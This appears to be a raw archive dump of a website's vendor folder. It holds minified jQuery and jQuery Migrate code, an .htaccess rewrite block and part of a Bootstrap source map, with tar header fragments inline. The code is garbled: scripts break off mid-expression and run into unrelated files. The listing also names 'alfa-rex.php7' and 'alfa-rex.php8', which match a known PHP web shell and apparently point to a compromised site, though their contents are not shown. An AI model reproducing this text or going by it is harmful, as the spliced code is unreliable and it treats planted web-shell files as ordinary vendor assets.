r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all vendor/jquery-migrate-3.3.0.min.js000064400000025412150324651210012570 0ustar00/*! jQuery Migrate v3.3.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ "undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){var r,n=/^(\d+)\.(\d+)\.(\d+)/,i=n.exec(e)||[],o=n.exec(t)||[];for(r=1;r<=3;r++){if(+i[r]>+o[r])return 1;if(+i[r]<+o[r])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.0",n.console&&n.console.log&&(s&&e("3.0.0")||n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]||(r[e]=!0,s.migrateWarnings.push(e),t&&t.warn&&!s.migrateMute&&(t.warn("JQMIGRATE: "+e),s.migrateTrace&&t.trace&&t.trace()))}function t(e,t,r,n){Object.defineProperty(e,t,{configurable:!0,enumerable:!0,get:function(){return u(n),r},set:function(e){u(n),r=e}})}function i(e,t,r,n){e[t]=function(){return u(n),r.apply(this,arguments)}}s.migrateDeduplicateWarnings=!0,s.migrateWarnings=[],void 0===s.migrateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){r={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&u("jQuery is not compatible with Quirks Mode");var o,a={},c=s.fn.init,d=s.find,l=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,p=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,f=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;for(o in s.fn.init=function(e){var t=Array.prototype.slice.call(arguments);return"string"==typeof e&&"#"===e&&(u("jQuery( '#' ) is not a valid selector"),t[0]=[]),c.apply(this,t)},s.fn.init.prototype=s.fn,s.find=function(t){var r=Array.prototype.slice.call(arguments);if("string"==typeof t&&l.test(t))try{n.document.querySelector(t)}catch(e){t=t.replace(p,function(e,t,r,n){return"["+t+r+'"'+n+'"]'});try{n.document.querySelector(t),u("Attribute selector with '#' must be quoted: "+r[0]),r[0]=t}catch(e){u("Attribute selector with '#' was not fixed: "+r[0])}}return d.apply(this,r)},d)Object.prototype.hasOwnProperty.call(d,o)&&(s.find[o]=d[o]);if(i(s.fn,"size",function(){return this.length},"jQuery.fn.size() is deprecated and removed; use the .length property"),i(s,"parseJSON",function(){return JSON.parse.apply(null,arguments)},"jQuery.parseJSON is deprecated; use JSON.parse"),i(s,"holdReady",s.holdReady,"jQuery.holdReady is deprecated"),i(s,"unique",s.uniqueSort,"jQuery.unique is deprecated; use jQuery.uniqueSort"),t(s.expr,"filters",s.expr.pseudos,"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),t(s.expr,":",s.expr.pseudos,"jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&i(s,"trim",function(e){return null==e?"":(e+"").replace(f,"")},"jQuery.trim is deprecated; use String.prototype.trim"),e("3.2.0")&&i(s,"nodeName",function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},"jQuery.nodeName is deprecated"),e("3.3.0")&&(i(s,"isNumeric",function(e){var t=typeof e;return("number"==t||"string"==t)&&!isNaN(e-parseFloat(e))},"jQuery.isNumeric() is deprecated"),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){a["[object "+t+"]"]=t.toLowerCase()}),i(s,"type",function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?a[Object.prototype.toString.call(e)]||"object":typeof e},"jQuery.type is deprecated"),i(s,"isFunction",function(e){return"function"==typeof e},"jQuery.isFunction() is deprecated"),i(s,"isWindow",function(e){return null!=e&&e===e.window},"jQuery.isWindow() is deprecated"),i(s,"isArray",Array.isArray,"jQuery.isArray is deprecated; use Array.isArray")),s.ajax){var y=s.ajax;s.ajax=function(){var e=y.apply(this,arguments);return e.promise&&(i(e,"success",e.done,"jQXHR.success is deprecated and removed"),i(e,"error",e.fail,"jQXHR.error is deprecated and removed"),i(e,"complete",e.always,"jQXHR.complete is deprecated and removed")),e}}var m=s.fn.removeAttr,g=s.fn.toggleClass,h=/\S+/g;function v(e){return e.replace(/-([a-z])/g,function(e,t){return t.toUpperCase()})}s.fn.removeAttr=function(e){var r=this;return s.each(e.match(h),function(e,t){s.expr.match.bool.test(t)&&(u("jQuery.fn.removeAttr no longer sets boolean properties: "+t),r.prop(t,!1))}),m.apply(this,arguments)};var j,Q=!(s.fn.toggleClass=function(t){return void 0!==t&&"boolean"!=typeof t?g.apply(this,arguments):(u("jQuery.fn.toggleClass( boolean ) is deprecated"),this.each(function(){var e=this.getAttribute&&this.getAttribute("class")||"";e&&s.data(this,"__className__",e),this.setAttribute&&this.setAttribute("class",e||!1===t?"":s.data(this,"__className__")||"")}))}),b=/^[a-z]/,w=/^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/;s.swap&&s.each(["height","width","reliableMarginRight"],function(e,t){var r=s.cssHooks[t]&&s.cssHooks[t].get;r&&(s.cssHooks[t].get=function(){var e;return Q=!0,e=r.apply(this,arguments),Q=!1,e})}),s.swap=function(e,t,r,n){var i,o,a={};for(o in Q||u("jQuery.swap() is undocumented and deprecated"),t)a[o]=e.style[o],e.style[o]=t[o];for(o in i=r.apply(e,n||[]),t)e.style[o]=a[o];return i},e("3.4.0")&&"undefined"!=typeof Proxy&&(s.cssProps=new Proxy(s.cssProps||{},{set:function(){return u("JQMIGRATE: jQuery.cssProps is deprecated"),Reflect.set.apply(this,arguments)}})),s.cssNumber||(s.cssNumber={}),j=s.fn.css,s.fn.css=function(e,t){var r=this;return"string"!=typeof e&&s.each(e,function(e,t){s.fn.css.call(r,e,t)}),"number"!=typeof t||function(e){return b.test(e)&&w.test(e[0].toUpperCase()+e.slice(1))}(v(e))||u("Use of number-typed values is deprecated in jQuery.fn.css"),j.apply(this,arguments)};var x=s.data;if(s.data=function(e,t,r){var n,i,o;if(t&&"object"==typeof t&&2===arguments.length){for(o in n=s.hasData(e)&&x.call(this,e),i={},t)o!==v(o)?(u("jQuery.data() always sets/gets camelCased names: "+o),n[o]=t[o]):i[o]=t[o];return x.call(this,e,i),t}return t&&"string"==typeof t&&t!==v(t)&&(n=s.hasData(e)&&x.call(this,e))&&t in n?(u("jQuery.data() always sets/gets camelCased names: "+t),2");t!==e&&C(e)!==C(t)&&u("HTML tags must be properly nested and closed: "+e)}var P=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,q=s.htmlPrefilter;s.UNSAFE_restoreLegacyHtmlPrefilter=function(){s.htmlPrefilter=function(e){return T(e),e.replace(P,"<$1>")}},s.htmlPrefilter=function(e){return T(e),q(e)};var D=s.fn.offset;if(s.fn.offset=function(){var e,t=this[0];if(t&&t.nodeType)return e=(t.ownerDocument||n.document).documentElement,s.contains(e,t)?D.apply(this,arguments):(u("jQuery.fn.offset() requires an element connected to a document"),{top:0,left:0});u("jQuery.fn.offset() requires a valid DOM element")},s.ajax){var E=s.param;s.param=function(e,t){var r=s.ajaxSettings&&s.ajaxSettings.traditional;return void 0===t&&r&&(u("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),t=r),E.call(this,e,t)}}var _=s.fn.andSelf||s.fn.addBack;if(s.fn.andSelf=function(){return u("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),_.apply(this,arguments)},s.Deferred){var F=s.Deferred,O=[["resolve","done",s.Callbacks("once memory"),s.Callbacks("once memory"),"resolved"],["reject","fail",s.Callbacks("once memory"),s.Callbacks("once memory"),"rejected"],["notify","progress",s.Callbacks("memory"),s.Callbacks("memory")]];s.Deferred=function(e){var o=F(),a=o.promise();return o.pipe=a.pipe=function(){var i=arguments;return u("deferred.pipe() is deprecated"),s.Deferred(function(n){s.each(O,function(e,t){var r="function"==typeof i[e]&&i[e];o[t[1]](function(){var e=r&&r.apply(this,arguments);e&&"function"==typeof e.promise?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[t[0]+"With"](this===a?n.promise():this,r?[e]:arguments)})}),i=null}).promise()},e&&e.call(o,o),o},s.Deferred.exceptionHook=F.exceptionHook}return s}); vendor/alfa-rex.php7000064400000026574150324651210010355 0ustar00vendor/alfa-rex.php8000064400000026574150324651210010356 0ustar00vendor/bootstrap.bundle.min.js.map000064400001151020150324651210013221 0ustar00{"version":3,"sources":["../../js/src/util/index.js","../../js/src/dom/data.js","../../js/src/dom/event-handler.js","../../js/src/base-component.js","../../js/src/alert.js","../../js/src/button.js","../../js/src/dom/manipulator.js","../../js/src/dom/selector-engine.js","../../js/src/carousel.js","../../js/src/collapse.js","../../node_modules/@popperjs/core/lib/enums.js","../../node_modules/@popperjs/core/lib/dom-utils/getNodeName.js","../../node_modules/@popperjs/core/lib/dom-utils/getWindow.js","../../node_modules/@popperjs/core/lib/dom-utils/instanceOf.js","../../node_modules/@popperjs/core/lib/modifiers/applyStyles.js","../../node_modules/@popperjs/core/lib/utils/getBasePlacement.js","../../node_modules/@popperjs/core/lib/dom-utils/getLayoutRect.js","../../node_modules/@popperjs/core/lib/dom-utils/contains.js","../../node_modules/@popperjs/core/lib/dom-utils/getComputedStyle.js","../../node_modules/@popperjs/core/lib/dom-utils/isTableElement.js","../../node_modules/@popperjs/core/lib/dom-utils/getDocumentElement.js","../../node_modules/@popperjs/core/lib/dom-utils/getParentNode.js","../../node_modules/@popperjs/core/lib/dom-utils/getOffsetParent.js","../../node_modules/@popperjs/core/lib/utils/getMainAxisFromPlacement.js","../../node_modules/@popperjs/core/lib/utils/within.js","../../node_modules/@popperjs/core/lib/utils/mergePaddingObject.js","../../node_modules/@popperjs/core/lib/utils/getFreshSideObject.js","../../node_modules/@popperjs/core/lib/utils/expandToHashMap.js","../../node_modules/@popperjs/core/lib/modifiers/arrow.js","../../node_modules/@popperjs/core/lib/modifiers/computeStyles.js","../../node_modules/@popperjs/core/lib/modifiers/eventListeners.js","../../node_modules/@popperjs/core/lib/utils/getOppositePlacement.js","../../node_modules/@popperjs/core/lib/utils/getOppositeVariationPlacement.js","../../node_modules/@popperjs/core/lib/dom-utils/getBoundingClientRect.js","../../node_modules/@popperjs/core/lib/dom-utils/getWindowScroll.js","../../node_modules/@popperjs/core/lib/dom-utils/getWindowScrollBarX.js","../../node_modules/@popperjs/core/lib/dom-utils/isScrollParent.js","../../node_modules/@popperjs/core/lib/dom-utils/listScrollParents.js","../../node_modules/@popperjs/core/lib/dom-utils/getScrollParent.js","../../node_modules/@popperjs/core/lib/utils/rectToClientRect.js","../../node_modules/@popperjs/core/lib/dom-utils/getClippingRect.js","../../node_modules/@popperjs/core/lib/dom-utils/getViewportRect.js","../../node_modules/@popperjs/core/lib/dom-utils/getDocumentRect.js","../../node_modules/@popperjs/core/lib/utils/getVariation.js","../../node_modules/@popperjs/core/lib/utils/computeOffsets.js","../../node_modules/@popperjs/core/lib/utils/detectOverflow.js","../../node_modules/@popperjs/core/lib/utils/computeAutoPlacement.js","../../node_modules/@popperjs/core/lib/modifiers/flip.js","../../node_modules/@popperjs/core/lib/modifiers/hide.js","../../node_modules/@popperjs/core/lib/modifiers/offset.js","../../node_modules/@popperjs/core/lib/modifiers/popperOffsets.js","../../node_modules/@popperjs/core/lib/modifiers/preventOverflow.js","../../node_modules/@popperjs/core/lib/utils/getAltAxis.js","../../node_modules/@popperjs/core/lib/dom-utils/getCompositeRect.js","../../node_modules/@popperjs/core/lib/dom-utils/getNodeScroll.js","../../node_modules/@popperjs/core/lib/dom-utils/getHTMLElementScroll.js","../../node_modules/@popperjs/core/lib/createPopper.js","../../node_modules/@popperjs/core/lib/utils/debounce.js","../../node_modules/@popperjs/core/lib/utils/mergeByName.js","../../node_modules/@popperjs/core/lib/utils/orderModifiers.js","../../node_modules/@popperjs/core/lib/popper-lite.js","../../node_modules/@popperjs/core/lib/popper.js","../../js/src/dropdown.js","../../js/src/modal.js","../../js/src/util/sanitizer.js","../../js/src/tooltip.js","../../js/src/popover.js","../../js/src/scrollspy.js","../../js/src/tab.js","../../js/src/toast.js","../../js/index.umd.js"],"names":["storeData","id","getUID","prefix","Math","floor","random","document","getElementById","getSelector","element","selector","getAttribute","hrefAttr","includes","startsWith","split","trim","getSelectorFromElement","querySelector","getElementFromSelector","getTransitionDurationFromElement","_window$getComputedSt","window","getComputedStyle","transitionDuration","transitionDelay","floatTransitionDuration","Number","parseFloat","floatTransitionDelay","triggerTransitionEnd","dispatchEvent","Event","isElement","obj","nodeType","emulateTransitionEnd","duration","called","emulatedDuration","addEventListener","listener","removeEventListener","setTimeout","typeCheckConfig","componentName","config","configTypes","Object","keys","forEach","property","expectedTypes","value","valueType","toString","call","match","toLowerCase","RegExp","test","TypeError","toUpperCase","isVisible","style","parentNode","elementStyle","parentNodeStyle","display","visibility","noop","reflow","offsetHeight","getjQuery","jQuery","body","hasAttribute","isRTL","documentElement","dir","defineJQueryPlugin","name","plugin","callback","$","JQUERY_NO_CONFLICT","fn","jQueryInterface","Constructor","noConflict","readyState","mapData","set","key","data","bsKey","get","keyProperties","delete","Data","instance","namespaceRegex","stripNameRegex","stripUidRegex","eventRegistry","uidEvent","customEvents","mouseenter","mouseleave","nativeEvents","Set","getUidEvent","uid","getEvent","findHandler","events","handler","delegationSelector","uidEventList","i","len","length","event","originalHandler","normalizeParams","originalTypeEvent","delegationFn","delegation","typeEvent","replace","custom","has","addHandler","oneOff","_normalizeParams","handlers","previousFn","domElements","querySelectorAll","target","this","delegateTarget","EventHandler","off","type","apply","bootstrapDelegationHandler","bootstrapHandler","removeHandler","Boolean","on","one","_normalizeParams2","inNamespace","isNamespace","elementEvent","namespace","storeElementEvent","handlerKey","removeNamespacedHandlers","slice","keyHandlers","trigger","args","jQueryEvent","isNative","bubbles","nativeDispatch","defaultPrevented","evt","isPropagationStopped","isImmediatePropagationStopped","isDefaultPrevented","createEvent","initEvent","CustomEvent","cancelable","defineProperty","preventDefault","BaseComponent","_element","constructor","DATA_KEY","dispose","getInstance","Alert","close","rootElement","_getRootElement","customEvent","_triggerCloseEvent","_removeElement","closest","_this","classList","remove","contains","_destroyElement","removeChild","each","handleDismiss","alertInstance","Button","toggle","setAttribute","normalizeData","val","normalizeDataKey","chr","button","Manipulator","setDataAttribute","removeDataAttribute","removeAttribute","getDataAttributes","attributes","dataset","filter","pureKey","charAt","getDataAttribute","offset","rect","getBoundingClientRect","top","scrollTop","left","scrollLeft","position","offsetTop","offsetLeft","SelectorEngine","_ref","concat","Element","prototype","_ref2","children","child","matches","previous","previousElementSibling","Default","interval","keyboard","slide","pause","wrap","touch","DefaultType","Carousel","_BaseComponent","_items","_interval","_activeElement","_isPaused","_isSliding","touchTimeout","touchStartX","touchDeltaX","_config","_getConfig","_indicatorsElement","_touchSupported","navigator","maxTouchPoints","_pointerEvent","PointerEvent","_addEventListeners","next","_slide","nextWhenVisible","hidden","prev","cycle","clearInterval","_updateInterval","setInterval","visibilityState","bind","to","index","_this2","activeIndex","_getItemIndex","direction","_extends","_handleSwipe","absDeltax","abs","_this3","_keydown","_addTouchEventListeners","_this4","start","pointerType","touches","clientX","end","clearTimeout","itemImg","e","add","move","tagName","indexOf","_getItemByDirection","activeElement","isNextDirection","isPrevDirection","lastItemIndex","itemIndex","_triggerSlideEvent","relatedTarget","eventDirectionName","targetIndex","fromIndex","from","_setActiveIndicatorElement","activeIndicator","indicators","parseInt","elementInterval","defaultInterval","_this5","activeElementIndex","nextElement","nextElementIndex","isCycling","directionalClassName","orderClassName","carouselInterface","action","ride","dataApiClickHandler","slideIndex","carousels","parent","Collapse","_isTransitioning","_triggerArray","SELECTOR_DATA_TOGGLE","toggleList","elem","filterElement","foundElem","_selector","push","_parent","_getParent","_addAriaAndCollapsedClass","hide","show","actives","activesData","container","tempActiveData","find","elemActive","collapseInterface","dimension","_getDimension","setTransitioning","scrollSize","triggerArrayLength","isTransitioning","jquery","selected","triggerArray","isOpen","triggerData","bottom","right","basePlacements","variationPlacements","reduce","acc","placement","placements","modifierPhases","getNodeName","nodeName","getWindow","node","ownerDocument","defaultView","isHTMLElement","HTMLElement","applyStyles$1","enabled","phase","state","elements","styles","assign","effect","initialStyles","popper","options","strategy","margin","arrow","reference","hasOwnProperty","attribute","requires","getBasePlacement","getLayoutRect","x","y","width","offsetWidth","height","rootNode","getRootNode","ShadowRoot","isSameNode","host","isTableElement","getDocumentElement","getParentNode","assignedSlot","getTrueOffsetParent","offsetParent","html","getOffsetParent","currentNode","css","transform","perspective","willChange","getContainingBlock","getMainAxisFromPlacement","within","min","max","mergePaddingObject","paddingObject","expandToHashMap","hashMap","arrow$1","_state$modifiersData$","arrowElement","popperOffsets","modifiersData","basePlacement","axis","padding","arrowRect","minProp","maxProp","endDiff","rects","startDiff","arrowOffsetParent","clientSize","clientHeight","clientWidth","centerToReference","center","axisProp","centerOffset","_options$element","_options$padding","requiresIfExists","unsetSides","mapToStyles","_Object$assign2","popperRect","offsets","gpuAcceleration","adaptive","_ref3","roundOffsets","dpr","devicePixelRatio","round","roundOffsetsByDPR","_ref3$x","_ref3$y","hasX","hasY","sideX","sideY","win","_Object$assign","commonStyles","computeStyles$1","_ref4","_options$gpuAccelerat","_options$adaptive","_options$roundOffsets","data-popper-placement","passive","eventListeners","_options$scroll","scroll","_options$resize","resize","scrollParents","scrollParent","update","hash","getOppositePlacement","matched","getOppositeVariationPlacement","getWindowScroll","pageXOffset","pageYOffset","getWindowScrollBarX","isScrollParent","_getComputedStyle","overflow","overflowX","overflowY","listScrollParents","list","getScrollParent","isBody","visualViewport","updatedList","rectToClientRect","getClientRectFromMixedType","clippingParent","userAgent","getViewportRect","clientTop","clientLeft","getInnerBoundingClientRect","winScroll","scrollWidth","scrollHeight","getDocumentRect","getVariation","computeOffsets","variation","commonX","commonY","mainAxis","detectOverflow","_options","_options$placement","_options$boundary","boundary","_options$rootBoundary","rootBoundary","_options$elementConte","elementContext","_options$altBoundary","altBoundary","altContext","referenceElement","clippingClientRect","mainClippingParents","clippingParents","clipperElement","getClippingParents","firstClippingParent","clippingRect","accRect","getClippingRect","contextElement","referenceClientRect","popperClientRect","elementClientRect","overflowOffsets","offsetData","multiply","computeAutoPlacement","flipVariations","_options$allowedAutoP","allowedAutoPlacements","allPlacements","allowedPlacements","overflows","sort","a","b","flip$1","_skip","_options$mainAxis","checkMainAxis","_options$altAxis","altAxis","checkAltAxis","specifiedFallbackPlacements","fallbackPlacements","_options$flipVariatio","preferredPlacement","oppositePlacement","getExpandedFallbackPlacements","referenceRect","checksMap","Map","makeFallbackChecks","firstFittingPlacement","_basePlacement","isStartVariation","isVertical","mainVariationSide","altVariationSide","checks","every","check","_loop","_i","fittingPlacement","reset","getSideOffsets","preventedOffsets","isAnySideFullyClipped","some","side","hide$1","preventOverflow","referenceOverflow","popperAltOverflow","referenceClippingOffsets","popperEscapeOffsets","isReferenceHidden","hasPopperEscaped","data-popper-reference-hidden","data-popper-escaped","offset$1","_options$offset","invertDistance","skidding","distance","distanceAndSkiddingToXY","_data$state$placement","popperOffsets$1","preventOverflow$1","_options$tether","tether","_options$tetherOffset","tetherOffset","isBasePlacement","tetherOffsetValue","mainSide","altSide","additive","minLen","maxLen","arrowPaddingObject","arrowPaddingMin","arrowPaddingMax","arrowLen","minOffset","maxOffset","clientOffset","offsetModifierValue","tetherMin","tetherMax","preventedOffset","_mainSide","_altSide","_offset","_preventedOffset","getCompositeRect","elementOrVirtualElement","isFixed","isOffsetParentAnElement","DEFAULT_OPTIONS","modifiers","areValidElements","_len","arguments","Array","_key","popperGenerator","generatorOptions","_generatorOptions","_generatorOptions$def","defaultModifiers","_generatorOptions$def2","defaultOptions","pending","orderedModifiers","effectCleanupFns","isDestroyed","setOptions","cleanupModifierEffects","merged","map","visited","result","modifier","dep","depModifier","order","orderModifiers","current","existing","m","_ref3$options","cleanupFn","forceUpdate","_state$elements","_state$orderedModifie","_state$orderedModifie2","Promise","resolve","then","undefined","destroy","onFirstUpdate","createPopper","computeStyles","applyStyles","flip","REGEXP_KEYDOWN","ARROW_UP_KEY","PLACEMENT_TOP","PLACEMENT_TOPEND","PLACEMENT_BOTTOM","PLACEMENT_BOTTOMEND","PLACEMENT_RIGHT","PLACEMENT_LEFT","popperConfig","Dropdown","_popper","_menu","_getMenuElement","_inNavbar","_detectNavbar","disabled","isActive","clearMenus","getParentFromElement","Popper","_getPopperConfig","isDisplayStatic","focus","stopPropagation","nextElementSibling","_getPlacement","parentDropdown","isEnd","getPropertyValue","_getOffset","popperData","defaultBsPopperConfig","dropdownInterface","toggles","context","clickEvent","dropdownMenu","dataApiKeydownHandler","items","click","backdrop","Modal","_dialog","_backdrop","_isShown","_isBodyOverflowing","_ignoreBackdropClick","_scrollbarWidth","showEvent","_checkScrollbar","_setScrollbar","_adjustDialog","_setEscapeEvent","_setResizeEvent","_showBackdrop","_showElement","transition","_hideModal","htmlElement","handleUpdate","modalBody","Node","ELEMENT_NODE","appendChild","_enforceFocus","transitionComplete","_this6","_triggerBackdropTransition","_this7","_this8","_resetAdjustments","_resetScrollbar","_removeBackdrop","_this9","animate","createElement","className","currentTarget","backdropTransitionDuration","callbackRemove","_this10","isModalOverflowing","modalTransitionDuration","paddingLeft","paddingRight","innerWidth","_getScrollbarWidth","_this11","_setElementAttributes","calculatedValue","styleProp","actualValue","_resetElementAttributes","scrollDiv","scrollbarWidth","_this12","uriAttrs","SAFE_URL_PATTERN","DATA_URL_PATTERN","sanitizeHtml","unsafeHtml","allowList","sanitizeFn","createdDocument","DOMParser","parseFromString","allowlistKeys","el","elName","attributeList","allowedAttributes","attr","allowedAttributeList","attrName","nodeValue","regExp","attrRegex","allowedAttribute","innerHTML","BSCLS_PREFIX_REGEX","DISALLOWED_ATTRIBUTES","animation","template","title","delay","customClass","sanitize","AttachmentMap","AUTO","TOP","RIGHT","BOTTOM","LEFT","*","area","br","col","code","div","em","hr","h1","h2","h3","h4","h5","h6","img","li","ol","p","pre","s","small","span","sub","sup","strong","u","ul","HIDE","HIDDEN","SHOW","SHOWN","INSERTED","CLICK","FOCUSIN","FOCUSOUT","MOUSEENTER","MOUSELEAVE","Tooltip","_isEnabled","_timeout","_hoverState","_activeTrigger","tip","_setListeners","enable","disable","toggleEnabled","_initializeOnDelegatedTarget","_isWithActiveTrigger","_enter","_leave","getTipElement","EVENT_KEY","_hideModalHandler","Error","isWithContent","shadowRoot","findShadowRoot","attachShadow","root","isInTheDom","tipId","NAME","setContent","attachment","_getAttachment","_addAttachmentClass","_getContainer","_tip$classList","complete","prevHoverState","_cleanTipClass","getTitle","setElementContent","content","textContent","updateAttachment","dataKey","_getDelegateConfig","_handlePopperPlacementChange","CLASS_PREFIX","eventIn","eventOut","_fixTitle","originalTitleType","dataAttributes","dataAttr","tabClass","token","tClass","Popover","_getContent","method","ScrollSpy","_scrollElement","_offsets","_targets","_activeTarget","_scrollHeight","_process","refresh","autoMethod","offsetMethod","offsetBase","_getScrollTop","_getScrollHeight","targetSelector","targetBCR","item","_getOffsetHeight","innerHeight","maxScroll","_activate","_clear","queries","link","join","parents","ancestor","listGroup","SELECTOR_NAV_LINKS","navItem","spy","Tab","listElement","itemSelector","hideEvent","active","_transitionComplete","dropdownChild","dropdown","autohide","Toast","_clearTimeout"],"mappings":"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